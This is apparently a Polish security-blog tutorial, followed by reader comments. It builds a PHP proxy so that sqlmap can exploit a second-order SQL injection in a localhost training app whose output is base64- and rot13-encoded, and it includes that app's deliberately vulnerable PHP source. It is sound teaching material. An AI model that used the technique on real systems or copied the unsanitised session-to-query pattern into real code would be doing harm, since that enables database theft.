Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Tworzenie własnego PHP Proxy dla narzędzi typu sqlmap – podstawy
Praca z narzędziami takimi jak sqlmap wymaga od nas czasami kreatywnego podejścia do realizowanych testów. Zdarza się, że czasami musimy znaleźć wywołanie naszego payloadu w innymi miejscu niż te, w którym występuje wstrzyknięcie, bądź musimy w odpowiedni sposób obrobić dane, aby narzędzie testujące zrozumiało odpowiedź strony.
Testowana przez nas aplikacja przyjmuje parametry metody GET w celu pokazania informacji o użytkowniku oraz w celu pokazania informacji o wszystkich użytkownikach. Ponadto zwracane informacje są z niejasnych względów „zakodowane” poprzez następującą kombinację funkcji:
- Konwersja do base64
- Wprowadzenie szyfru cezara z przesunięciem o 13 (rot13)
Przykładowe zapytanie aplikacji zwracające informacje o profilach:
http://127.0.0.1/?user=all
Odpowiedź serwera aplikacji:
HTTP/1.1 200 OK Date: Fri, 10 May 2019 21:08:44 GMT Set-Cookie: PHPSESSID=5032ing922fblkisveq29st9r4; path=/ Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 167 Connection: close Content-Type: application/json {'data':'r3fanJDaBwRfW25uoJHaBvqApaZtFz9boaxaYPqcozMiWmbaFFOuoFOUo2Dto2LtqTucplO3MJWmnKEyW30frlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asK0='}
Rozwiążmy zatem zawartość pola ‘data’, pierwszy krok to zdekodowanie zawartości według instrukcji znanych z początku artykułu.
Operacja ROT13:
Źródło | ROT13 |
r3fanJDaBwRfW25uoJHaBvqApaZtFz9boaxaYPqcozMiWmbaFFOuoFOUo2Dto2LtqTucplO3MJWmnKEyW30frlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asK0= |
e3snaWQnOjEsJ25hbWUnOidNcnMgSm9obnknLCdpbmZvJzonSSBhbSBHb2Qgb2YgdGhpcyB3ZWJzaXRlJ30seydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfX0= |
Operacja Base64 Decode:
Źródło | Base64 Decode |
e3snaWQnOjEsJ25hbWUnOidNcnMgSm9obnknLCdpbmZvJzonSSBhbSBHb2Qgb2YgdGhpcyB3ZWJzaXRlJ30seydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfX0= |
{{'id':1,'name':'Mrs Johny','info':'I am God of this website'},{'id':2,'name':'M4teo','info':'what is going here?'}} |
Aplikacja pozwala również na przeglądanie każdego użytkownika pojedynczo poprzez zapytanie:
http://127.0.0.1/?user=2
Odpowiedź serwera aplikacji:
HTTP/1.1 200 OK Date: Fri, 10 May 2019 21:18:08 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 83 Connection: close Content-Type: application/json {'data':'rlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asD=='}
Z racji, iż jest to aplikacja szkoleniowa – wiemy, że podatnym parametrem jest właśnie ‘user’ z metody GET. Niestety, aby nie było zbyt łatwo, występuje w tym miejscu atak Second Order SQL Injection, w tym przypadku niebezpieczny kod SQL nie da efektu bezpośrednio w odpowiedzi HTTP na wysyłane zapytanie, lecz po powrocie do spisu wszystkich użytkowników.
Sprawdźmy zatem ponownie odpowiedź API dla listingu wszystkich użytkowników po wcześniejszym przeglądnięciu jednego – czyli wracamy na stronę:
http://127.0.0.1/?user=all
Odpowiedź serwera aplikacji:
HTTP/1.1 200 OK Date: Fri, 10 May 2019 21:23:41 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 255 Connection: close Content-Type: application/json {'data':'r3fanJDaBwRfW25uoJHaBvqApaZtFz9boaxaYPqcozMiWmbaFFOuoFOUo2Dto2LtqTucplO3MJWmnKEyW30frlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asK0foTSmqSMcp2y0MJD6rlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asD=='}
Ponownie zdekodujemy zawartość pola ‘data’.
Operacja ROT13:
Źródło | ROT13 |
r3fanJDaBwRfW25uoJHaBvqApaZtFz9boaxaYPqcozMiWmbaFFOuoFOUo2Dto2LtqTucplO3MJWmnKEyW30frlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asK0foTSmqSMcp2y0MJD6rlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asD=== |
e3snaWQnOjEsJ25hbWUnOidNcnMgSm9obnknLCdpbmZvJzonSSBhbSBHb2Qgb2YgdGhpcyB3ZWJzaXRlJ30seydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfX0sbGFzdFZpc2l0ZWQ6eydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfQ=== |
Operacja Base64 Decode:
Źródło | Base64 Decode |
e3snaWQnOjEsJ25hbWUnOidNcnMgSm9obnknLCdpbmZvJzonSSBhbSBHb2Qgb2YgdGhpcyB3ZWJzaXRlJ30seydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfX0sbGFzdFZpc2l0ZWQ6eydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfQ=== |
{{'id':1,'name':'Mrs Johny','info':'I am God of this website'},{'id':2,'name':'M4teo','info':'what is going here?'}}, lastVisited:{'id':2,'name':'M4teo','info':'what is going here?'} |
W odpowiedzi aplikacji pojawiło nam się pole ‘lastVisited’ – które to właśnie będzie wektorem naszego ataku.
Czy narzędzia automatyczne typu Burp, ZAP, WebInspect lub nawet dedykowany sqlmap w domyślnych konfiguracjach odnajdą błąd?
Odpowiedź brzmi: „nie”, ponieważ: po pierwsze jest to atak Second Order SQL Injection, po drugie zawartość kontekstu jest niestety kodowana w dość dziwny sposób.
Dowód nieudanego testu programem sqlmap.
Sposobem na automatyzację tego ataku jest stworzenie własnego skryptowego proxy.
Krok pierwszy to utworzenie skryptu, który pobierał będzie zawartość strony biorąc pod uwagę przekazany metodą GET parametr (nasz payload).
<?php //utworzenie nazwy pliku w folderze tmp dla ciastek używanych w naszych zapytaniach $cookie = tempnam ("/tmp", "phpproxy"); //wywołanie obiektu CURL dla adresu oraz zmiennej przekazanej w parametrze metody GET $ch = curl_init ("http://127.0.0.1/?user=".urlencode($_GET['user'])); //ustawienie obsługi ciastek przez stworzony wyżej plik curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie); //ustawienie flagi zwracającej zawartość odpowiedzi serwera curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); //wywołanie żądania http $output = curl_exec ($ch); //wyświetlenie zawartości odpowiedzi serwera echo $output; ?>
Uruchamiamy nasze proxy w przeglądarce w celu weryfikacji, czy dane są pobierane:
http://localhost/proxy.php?user=2
Jak widać, podstawowe proxy działa, ale czy tego chcemy? Atak SQL Injection przez takie proxy nadal będzie niewykrywalny dla większości skanerów, bo praktycznie nic nie zostało zmienione.
Kolejnym krokiem zatem będzie postępowanie zgodnie z zasadami ataku Second Order, czyli weryfikacja kontekstu na innej podstronie.
<?php echo "Step 1 - Send payload:<br />"; $cookie = tempnam ("/tmp", "phpproxy"); $ch = curl_init ("http://127.0.0.1/?user=".urlencode($_GET['user'])); curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec ($ch); echo $output; echo "<br />Step 2 - Read data after injection:<br />"; $ch = curl_init ("http://127.0.0.1/?user=all"); curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec ($ch); echo $output; ?>
Dla przejrzystości dodaliśmy opisy kroków, w celu weryfikacji tego co się dzieje:
http://localhost/proxy.php?user=2
Za pomocą tego proxy już w tej chwili jesteśmy w stanie wykonać atak Second Order SQL Injection, jednak dane przekazywane są w nieczytelnej formie – co nadal unieszkodliwia większość skanerów.
Rozwińmy zatem kod o deszyfrowanie otrzymanych danych w celu ich łatwiejszej interpretacji:
<?php echo "Step 1 - Send payload:<br />"; $cookie = tempnam ("/tmp", "phpproxy"); $ch = curl_init ("http://127.0.0.1/?user=".urlencode($_GET['user'])); curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec ($ch); echo $output; echo "<br />Step 2 - Read data after injection:<br />"; $ch = curl_init ("http://127.0.0.1/?user=all"); curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec ($ch); //wykonanie reguły regexp w celu odnalezienia interesujących nas danych preg_match('/\'data\':\'(.*)\'/', $output, $matches, PREG_OFFSET_CAPTURE); echo $matches[1][0]; echo "<br />Step 3 - Decode data (rot13):<br />"; //zastosowanie szyfru ROT13 w celu odkodowania zawartości $matches[1][0] = str_rot13($matches[1][0]); echo $matches[1][0]; echo "<br />Step 4 - Decode data (base64):<br />"; //zastosowanie dekodowania base64 w celu odkodowania zawartości $matches[1][0] = base64_decode($matches[1][0]); echo $matches[1][0]; ?>
Ponownie zweryfikujmy odwiedzając stronę przez proxy w naszej przeglądarce:
http://localhost/proxy.php?user=2
Proxy w obecnej postaci powinno umożliwić wykonanie ataku SQL Injection dla programu typu sqlmap:
W pełni wykonany atak pozwala na zrzut danych z bazy:
Podsumowując, warto posiadać odrobinę wiedzy programistycznej podczas realizacji testów bezpieczeństwa, chociażby właśnie po to, aby móc posiłkować się własnymi skryptami.
Jeżeli macie ochotę przetestować skrypt na własnej maszynie, znajdziecie go poniżej.
- Plik bazy danych:
CREATE TABLE `users` ( `id` int(11) NOT NULL, `login` text, `password` text, `nick` text, `info` text ) ENGINE=InnoDB DEFAULT CHARSET=latin1; INSERT INTO `users` (`id`, `login`, `password`, `nick`, `info`) VALUES (1, 'admin', 'test!21', 'Mrs Johny', 'I am God of this website'), (2, 'matt', 'h4RDP@@s', 'M4teo', 'what is going here?'); ALTER TABLE `users` ADD PRIMARY KEY (`id`); ALTER TABLE `users` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; COMMIT;
- Plik podatnej strony:
<?php session_start(); error_reporting(0); header('Content-type: application/json'); $servername = "localhost"; $username = "LOGIN_DO_BAZY"; $password = "HASŁO_DO_BAZY"; $dbname = "test"; $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } echo "{'data':"; ob_start(); if(@$_GET['user']=='all') { echo "{"; $sql = "SELECT id, nick, info FROM users"; $result = $conn->query($sql); $i = 0; while($row = $result->fetch_assoc()) { if ($i>0) { echo ","; } echo "{'id':".$row["id"].",'name':'".$row["nick"]."','info':'".$row["info"]."'}"; $i++; } echo "}"; if (@$_SESSION['last'] != '') { echo ",lastVisited:"; $sql = "SELECT id, nick, info FROM users WHERE id = ".$_SESSION['last']; $result = $conn->query($sql); while($row = $result->fetch_assoc()) { echo "{'id':".$row["id"].",'name':'".$row["nick"]."','info':'".$row["info"]."'}"; } } } else if (isset($_GET['user'])) { $_SESSION['last'] = $_GET['user']; $sql = "SELECT id, nick, info FROM users WHERE id = ".($_GET['user']*1); $result = $conn->query($sql); while($row = $result->fetch_assoc()) { echo "{'id':".$row["id"].",'name':'".$row["nick"]."','info':'".$row["info"]."'}"; } } else { echo 'null'; } $content = ob_get_contents(); ob_end_clean(); echo "'".str_rot13(base64_encode($content))."'"; $conn->close(); echo "}";
— Robert Kruczek, hakuje w Securitum
Osobiście w takich sytuacjach tworzę tamper script do sqlmapa ale jak ktoś nie lubi/zna Pythona to rzeczywiście można sobie proxy w dowolnym języku stworzyć. Spoko artykuł
Ok tamper może być niewystarczający bo odpowiedź musi być zmieniona … nvm
Fajny artykuł, dziękuję.
Prawda. Dołączam się.
Jeszcze ten obrazek. :-D